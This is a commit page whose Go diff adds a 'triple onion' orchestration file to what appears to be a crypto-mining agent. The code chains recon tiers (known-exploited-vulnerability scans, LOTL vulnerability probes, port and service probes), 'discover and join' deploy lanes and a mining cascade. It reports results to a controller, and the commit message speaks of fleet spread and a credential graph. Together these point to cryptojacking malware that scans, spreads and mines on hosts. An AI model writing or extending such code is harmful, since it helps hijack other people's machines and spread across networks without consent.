Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
179
agent/client/triple_onion_chain.go
Normal file
179
agent/client/triple_onion_chain.go
Normal file
@@ -0,0 +1,179 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func (c *AgentClient) tripleOnionPolicy() miner.TripleOnionPolicy {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if !c.triplePolicyLoaded {
|
||||
return miner.DefaultTripleOnionPolicy()
|
||||
}
|
||||
return miner.NormalizeTripleOnionPolicy(c.triplePolicy)
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var p miner.TripleOnionPolicy
|
||||
if err := json.Unmarshal(raw, &p); err != nil {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
|
||||
c.triplePolicyLoaded = true
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
|
||||
c := r.client
|
||||
policy := c.tripleOnionPolicy()
|
||||
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
|
||||
RunReconTier: r.runReconTier,
|
||||
RunDeployLane: r.runDeployLane,
|
||||
RunMining: r.startMiningCascade,
|
||||
ReportEvent: r.reportOnionEvent,
|
||||
})
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) runReconTier(_ context.Context, tier string) miner.ReconTierResult {
|
||||
switch tier {
|
||||
case "kev_scan":
|
||||
return r.reconKEVScan()
|
||||
case "vuln_recon", "vuln_probe":
|
||||
return r.reconVulnProbe()
|
||||
case "service_probe":
|
||||
return r.reconServiceProbe()
|
||||
case "listen_ports":
|
||||
return r.reconListenPorts()
|
||||
default:
|
||||
return miner.ReconTierResult{OK: false, Error: "unknown recon tier"}
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reconKEVScan() miner.ReconTierResult {
|
||||
patch := collectPatchStatus()
|
||||
ports := collectListenPorts()
|
||||
var sec *SysCheckSecurity
|
||||
if p := collectPosture(); p != nil {
|
||||
sec = securityFromPosture(p)
|
||||
}
|
||||
kev := scanKEVExposure(patch, ports, sec)
|
||||
if kev == nil {
|
||||
return miner.ReconTierResult{OK: false, Error: "kev scan unavailable"}
|
||||
}
|
||||
return miner.ReconTierResult{
|
||||
OK: true,
|
||||
Snapshot: miner.ReconSnapshot{
|
||||
RiskScore: kev.RiskScore,
|
||||
CriticalExposed: kev.CriticalCount,
|
||||
ExposedCount: kev.ExposedCount,
|
||||
LikelyCount: kev.LikelyCount,
|
||||
Details: map[string]interface{}{
|
||||
"summary": kev.Summary,
|
||||
"findings": len(kev.Findings),
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reconServiceProbe() miner.ReconTierResult {
|
||||
p := collectPosture()
|
||||
if p == nil {
|
||||
return miner.ReconTierResult{OK: false, Error: "posture probe unavailable"}
|
||||
}
|
||||
count := len(p.Services)
|
||||
return miner.ReconTierResult{
|
||||
OK: true,
|
||||
Snapshot: miner.ReconSnapshot{
|
||||
ServiceCount: count,
|
||||
Details: map[string]interface{}{
|
||||
"posture_score": p.PostureScore,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reconListenPorts() miner.ReconTierResult {
|
||||
ports := collectListenPorts()
|
||||
if ports == nil {
|
||||
return miner.ReconTierResult{OK: false, Error: "listen_ports unavailable"}
|
||||
}
|
||||
return miner.ReconTierResult{
|
||||
OK: true,
|
||||
Snapshot: miner.ReconSnapshot{
|
||||
OpenPortCount: ports.Count,
|
||||
Details: map[string]interface{}{
|
||||
"port_count": ports.Count,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reconVulnProbe() miner.ReconTierResult {
|
||||
report := RunVulnLOTLProbe()
|
||||
if report == nil {
|
||||
return miner.ReconTierResult{OK: false, Error: "vuln_recon unavailable"}
|
||||
}
|
||||
critical := 0
|
||||
for _, f := range report.Findings {
|
||||
if f.Severity == "critical" && !f.Patched {
|
||||
critical++
|
||||
}
|
||||
}
|
||||
return miner.ReconTierResult{
|
||||
OK: true,
|
||||
Snapshot: miner.ReconSnapshot{
|
||||
RiskScore: report.RiskScore,
|
||||
CriticalExposed: critical,
|
||||
ExposedCount: report.ExposedCount,
|
||||
LikelyCount: report.CriticalCount,
|
||||
Details: map[string]interface{}{
|
||||
"summary": report.Summary,
|
||||
"findings": len(report.Findings),
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) runDeployLane(_ context.Context, lane string) (bool, string) {
|
||||
c := r.client
|
||||
if lane == "discover_and_join" {
|
||||
msg, err := c.runDiscoverAndJoin(8)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
return true, msg
|
||||
}
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
return deploy.TryDiscoverJoinLane(cfg, lane)
|
||||
}
|
||||
|
||||
func (r *MiningChainRunner) reportOnionEvent(report miner.TripleOnionReport, eventType string) {
|
||||
c := r.client
|
||||
payload, err := json.Marshal(struct {
|
||||
miner.TripleOnionReport
|
||||
Event string `json:"event"`
|
||||
}{
|
||||
TripleOnionReport: report,
|
||||
Event: eventType,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := c.write(Message{Type: "onion_report", Payload: payload}); err != nil {
|
||||
log.Printf("[triple-onion] %s notify failed: %v", eventType, err)
|
||||
}
|
||||
r.mu.Lock()
|
||||
r.onionAttempts = report.Attempts
|
||||
r.mu.Unlock()
|
||||
}
|
||||
Reference in New Issue
Block a user